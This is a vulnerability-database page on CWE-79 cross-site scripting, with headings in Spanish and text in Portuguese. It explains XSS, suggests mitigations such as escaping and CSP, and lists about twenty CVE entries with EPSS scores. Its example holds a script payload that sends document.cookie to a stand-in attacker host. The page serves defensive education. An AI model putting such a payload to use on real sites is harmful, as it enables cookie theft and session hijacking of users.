Fallos del tipo CWE-79

30.663 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-4407CRITICALCross-site Scripting (XSS) - Reflected in thorsten/phpmyfaqEPSS 4.9%CVE-2022-35653—A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-suppliedEPSS 4.8%CVE-2022-32770CRITICALA cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A sEPSS 4.7%CVE-2021-24247—Contact Form Check Tester <= 1.0.2 - Broken Access Control to Cross-Site Scripting (XSS)EPSS 4.7%CVE-2019-16935MEDIUMThe documentation XML-RPC server in Python through 2.7.16, 3.x through 3.6.9, and 3.7.x through 3.7.4 has XSS via the server_title field. ThEPSS 4.7%CVE-2022-1022HIGHCross-site Scripting (XSS) - Stored in chatwoot/chatwootEPSS 4.5%CVE-2022-24899HIGHCross site scripting via canonical tagEPSS 4.5%CVE-2023-31703CRITICALCross Site Scripting (XSS) in the edit user form in Microworld Technologies eScan management console 14.0.1400.2281 allows remote attacker tEPSS 4.5%CVE-2022-41358MEDIUMA stored cross-site scripting (XSS) vulnerability in Garage Management System v1.0 allows attackers to execute arbitrary web scripts or HTMLEPSS 4.5%CVE-2021-24329—WP Super Cache < 1.7.3 - Authenticated Stored Cross-Site Scripting (XSS)EPSS 4.5%CVE-2022-32771CRITICALA cross-site scripting (xss) vulnerability exists in the footer alerts functionality of WWBN AVideo 11.6 and dev master commit 3f7c0364. A sEPSS 4.5%CVE-2025-52367MEDIUMCross Site Scripting vulnerability in PivotX CMS v.3.0.0 RC 3 allows a remote attacker to execute arbitrary code via the subtitle field.EPSS 4.4%CVE-2022-0750MEDIUMPhotoswipe Masonry Gallery <= 1.2.14 Stored Cross-Site ScriptingEPSS 4.4%CVE-2022-0210MEDIUMRandom Banner <= 4.1.4 Admin+ Stored Cross-Site ScriptingEPSS 4.4%CVE-2026-3228MEDIUMNextScripts: Social Networks Auto-Poster <= 4.4.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'nxs_fbembed' ShortcodeEPSS 4.2%CVE-2025-68165MEDIUMIn JetBrains TeamCity before 2025.11 reflected XSS was possible on VCS Root setupEPSS 4.2%CVE-2022-32533CRITICALApache Portals Jetspeed XSS, CSRF, SSRF, and XXE issuesEPSS 4.2%CVE-2025-69231HIGHOpenEMR has a Stored XSS in GAD-7 Form that Enables Session Hijacking and Privilege EscalationEPSS 4.1%CVE-2022-24384HIGHReflective XSS on SmarterTrack v100.0.8019.14010EPSS 4.1%CVE-2021-24581—Blue Admin <= 21.06.01 - CSRF to Stored Cross-Site Scripting (XSS)EPSS 4.1%